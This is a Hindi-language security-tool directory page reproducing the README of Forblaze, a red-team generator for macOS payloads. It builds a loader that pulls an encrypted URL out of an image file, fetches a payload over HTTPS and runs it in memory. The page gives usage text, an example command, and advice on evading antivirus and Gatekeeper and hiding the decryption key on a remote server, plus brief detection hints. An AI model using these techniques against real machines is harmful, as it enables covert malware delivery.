Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Forblaze — Forblaze - एक Python Mac स्टेगनोग्राफी पेलोड जनरेटर | Kitploit
उपकरण/GitHubGitHub/asaurusrex/forblaze
पेलोड जनरेशनशोषणस्टेग्नोग्राफीपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubasaurusrex/forblaze

Forblaze

Forblaze - एक Python Mac स्टेगनोग्राफी पेलोड जनरेटर

रिपॉजिटरी देखें
5644 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Forblaze - एक पायथन मैक स्टेगानोग्राफी पेलोड जनरेटर/इन-मेमोरी Dylib/MachO निष्पादन

लेखक: AsaurusRex

अस्वीकरण

इस परियोजना का उपयोग वैध रेड टीमिंग/पेंटेस्टिंग कार्यों या अनुसंधान के अलावा अन्य उद्देश्यों के लिए न करें। किसी भी प्रकार की अवैध गतिविधि के लिए इसका उपयोग न करें, और जान लें कि यह परियोजना अनुसंधान उद्देश्यों के लिए है और रेड और ब्लू दोनों टीमों के मिशनों को आगे बढ़ाने में मदद करने के लिए है।

ब्लॉग पोस्ट

Forblaze के संबंध में ब्लॉग पोस्ट के लिए, देखें https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571

उद्देश्य

Forblaze एक परियोजना है जिसे मैक OS पेलोड में स्टेगानोग्राफी क्षमताएँ प्रदान करने के लिए डिज़ाइन किया गया है। python3 का उपयोग करते हुए, यह आपके लिए एक Obj-C फ़ाइल बनाएगा जिसे संकलित किया जाएगा ताकि स्टेगो फ़ाइल से वांछित एन्क्रिप्टेड URL निकाले जा सकें, https पर पेलोड प्राप्त किए जा सकें, और उन्हें सीधे मेमोरी में निष्पादित किया जा सके। यह कस्टम एन्क्रिप्शन का उपयोग करता है - यह क्रिप्टोग्राफिक रूप से सुरक्षित नहीं है, बल्कि पूरी तरह से AV इंजनों द्वारा विश्लेषण को विफल करने के लिए है। यह विंडोज के लिए मेरे पहले से बनाए गए कस्टम एन्क्रिप्शन, जिसे Rubicon कहा जाता है, से थोड़ा विचलन है और व्यवहार में अधिक सरल है। Forblaze आपके एन्क्रिप्टेड बाइट्स को स्टेगो फ़ाइल में पहचानने के लिए हेडर और फ़ुटर बाइट्स का उपयोग करता है, और फिर उन्हें compile_forblaze.m में हार्ड-कोडित कुंजी के साथ डिक्रिप्ट करता है। इस कुंजी को सहेजा और पुनः उपयोग किया जा सकता है, जिसका प्रभाव यह होगा कि एक अलग URL का उपयोग करके एक अलग पेलोड प्राप्त किया जा सकता है, और उसी संकलित forblaze को अभी भी इसे निष्पादित और प्रोसेस करने में सक्षम होना चाहिए (बशर्ते हेडर और फ़ुटर बाइट्स न बदले जाएँ, और नई स्टेगो फ़ाइल सही स्थान पर अपलोड की जाए)।

आवश्यकताएँ:

Python3 (केवल Python3.9+ पर परीक्षण किया गया), और कुछ संबंधित पायथन लाइब्रेरीज़ - pip3 आपकी ज़रूरत की किसी भी पायथन निर्भरता का ध्यान रखेगा। इसके अलावा, संकलन के लिए clang का उपयोग किया जाएगा, और forblaze को सही ढंग से संकलित करने के लिए इसे मैक पर चलाया जाना चाहिए।

उपयोग

usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]

Generate stego for implants.

optional arguments:

-h, --help show this help message and exit

-innocent_path PATH Provide the full path to the innocent file to be used.

-o OUTPUT Provide the path where you want your stego file to be placed.

-len_key LENGTH_OF_KEY Provide a positive integer that will be the length of the key in bytes. Default is 16. Must be between 10 and 150 bytes.

-url_to_encrypt URL Provide the URL you want to stick inside the compile file.

-supply_key SUPPLIED_KEY If you wish to use a specific key, provide it here. It must be in the format: -supply_key "\x6e\x60\x..." - aka two double slashes are needed between each byte, or else it WILL NOT WORK.

-stego_location STEGO_LOCATION You must provide a location on target where the stego file will reside. It is wise to follow strict full paths: /Users/<>/Documents/file.jpg for example.

-compiled_binary COMPILED_BINARY Give the name of the compiled binary to extract the URL and run code in memory from the stego file. The default is forblaze.

-method METHOD Select which method you wish to use. Method 1 relies on executing a dylib directly into memory, and works with Go payloads as well as regular payloads. Method 2 relies on executing a macho file directly into memory, but does not work with Go compiled payloads. Method 3 is method 1 but relies on fetching the decrypting key over a server, which is more opsec friendly. The default method is 1. NOTE: You still might need to edit the 'module' (aka RunMain) manually depending on your execution method!

-key_url KEY_URL Provide the URL to the key to decrypt the stego file.

root@kitploit:~
  python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg  -compiled_binary innocent_binary

Opsec संबंधी चिंताएँ

ईमानदारी से कहूँ तो, बहुत अधिक नहीं। मैक OS की पहचान अभी भी काफी खराब है, खासकर इन-मेमोरी गतिविधि के लिए। पाठक के लिए एक अभ्यास के रूप में, आप इस कोड में मामूली संशोधनों के साथ URL के बजाय सीधे पेलोड बाइट्स को भी कॉल कर सकते हैं। हालांकि, आपके पेलोड के आकार के आधार पर, पायथन स्क्रिप्ट में एन्क्रिप्शन भाग को पूरा होने में अस्वीकार्य रूप से लंबा समय लग सकता है।

ध्यान दें: चूंकि यह कोड एक Mach-O बाइनरी (dylib नहीं, हालांकि इसे कोड में आसानी से बदला जा सकता है) में संकलित होता है, इसलिए Gatekeeper जैसे नियंत्रण इसे डिफ़ॉल्ट रूप से निष्पादित होने से रोकेंगे जब तक कि आप पेलोड पर हस्ताक्षर न करें या quarantine विशेषता को हटा न दें।

मैं डिफ़ॉल्ट से उत्पन्न यादृच्छिक बाइट्स की संख्या जैसी चीजों को बदलने और स्टेगो फ़ाइल में पेलोड खोजने के लिए forblaze द्वारा उपयोग किए जाने वाले डिफ़ॉल्ट हेडर और फ़ुटर बाइट्स (साथ ही उन हेडर और फ़ुटर बाइट्स की लंबाई को शायद अधिक अगोचर बनाने के लिए) की सिफारिश करूंगा।

सबसे अच्छे OpSec के लिए, मैं आपके डिक्रिप्शन कुंजी को आपके नियंत्रण वाले बाहरी सर्वर से प्राप्त करने की सिफारिश करता हूं - तब आप उस कुंजी तक पहुंच को सख्ती से नियंत्रित कर सकते हैं, जिससे RE बहुत अधिक कठिन हो जाता है।

पहचान/रोकथाम

स्टेगानोग्राफी का पता लगाना काफी कठिन है। यदि आप जानते हैं कि स्टेगो फ़ाइल कहां है, तो आप सामान्य फ़ाइल EOF के अंत के बाद संदिग्ध बाइट्स निकालना शुरू कर सकते हैं (उदाहरण के लिए jpegs के लिए "FFD9" के बाद)। इन संदिग्ध बाइट्स में अभी भी वास्तविक एन्क्रिप्टेड पेलोड और बकवास यादृच्छिक बाइट्स शामिल होंगे, जिन्हें एक-दूसरे से अलग करना मुश्किल होगा जब तक कि आपके पास Forblaze द्वारा निर्दिष्ट हेडर और ट्रेलिंग बाइट्स न हों। आप इन बाइट्स को देख सकते हैं और दोहराए जाने वाले बाइट्स के पैटर्न की तलाश कर सकते हैं, क्योंकि forblaze के साथ हेडर और फ़ुटर बाइट्स इसी तरह काम करते हैं, लेकिन एक कुशल ऑपरेटर इसे डिफ़ॉल्ट से अधिक कठिन बना सकता है। यदि कोई पेलोड पकड़ा जाता है, तो आप स्पष्ट रूप से बाइनरी का RE कर सकते हैं और स्टेगो फ़ाइल का पता लगाने का प्रयास कर सकते हैं, और फिर कॉल किए जा रहे URL (या अन्य बाइट्स) को उलटने के लिए हार्ड-कोडित कुंजी और हेडर/फ़ुटर का उपयोग करने का प्रयास कर सकते हैं। लेकिन यह सब मानता है कि आपने बाइनरी को किसी अन्य माध्यम से पाया है।

परीक्षण

इस उपकरण का परीक्षण मैक OS के विभिन्न संस्करणों पर किया गया है, जिसमें Big Sur और Catalina (x64 सिस्टम) शामिल हैं। कृपया मुझे बताएं यदि आपको समस्याएँ आती हैं।

तकनीकी विवरण

कस्टम एन्क्रिप्शन एक बुनियादी सीज़र सिफर है, जहां आपके प्लेनटेक्स्ट बाइट्स को स्थानांतरित करने के लिए कुंजी के विभिन्न बाइट्स का उपयोग किया जाता है। यही कारण है कि बड़ी कुंजियाँ आपके एन्क्रिप्शन के लिए जरूरी नहीं कि बेहतर हों - यह आपके प्लेनटेक्स्ट की लंबाई पर निर्भर करता है। यदि आपका प्लेनटेक्स्ट 50 बाइट्स है, और आप 150 बाइट की कुंजी का उपयोग करते हैं, तो आपकी कुंजी के केवल पहले 50 बाइट्स का उपयोग किया जाएगा। हालांकि, यदि आपका प्लेनटेक्स्ट 150 बाइट्स से अधिक है, तो लंबी कुंजियाँ अधिक सुरक्षित होंगी।

स्टेगानोग्राफी काफी सरल है: आपकी मूल निर्दोष फ़ाइल के बाइट्स को वैसे ही रखा जाता है, और इन बाइट्स के बाद यादृच्छिक बाइट्स (आपके एन्क्रिप्टेड पेलोड बाइट्स के साथ) जोड़े जाते हैं। ये यादृच्छिक बाइट्स डिफ़ॉल्ट रूप से 2 और 2000 के बीच कहीं भी लंबाई में होते हैं (यह संभवतः आपके प्लेनटेक्स्ट आकार के अनुरूप बदला जाना चाहिए -> बड़े प्लेनटेक्स्ट का मतलब अधिक यादृच्छिक बाइट्स उत्पन्न होनी चाहिए)।

इन-मेमोरी निष्पादन भाग https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, साथ ही maisal लोडर (फिलहाल लिंक नहीं मिल रहा है) का अनुसरण करता है, जिसमें सरल परिवर्तन यह है कि डिस्क पर फ़ाइल से पेलोड बाइट्स पढ़ने के बजाय, उन्हें http/https पर पढ़ा जाता है।

योगदान/टिप्पणियाँ/आलोचनाएँ

मैं टिप्पणियाँ प्राप्त करने और सहयोग के लिए बहुत खुला हूँ! उम्मीद है कि यह कस्टम क्रिप्टो के विषय के आसपास उपयोगी चर्चा उत्पन्न करने में मदद करेगा, या शोधकर्ताओं को कुछ नई अंतर्दृष्टि प्रदान करेगा।

टूल डाउनलोड करें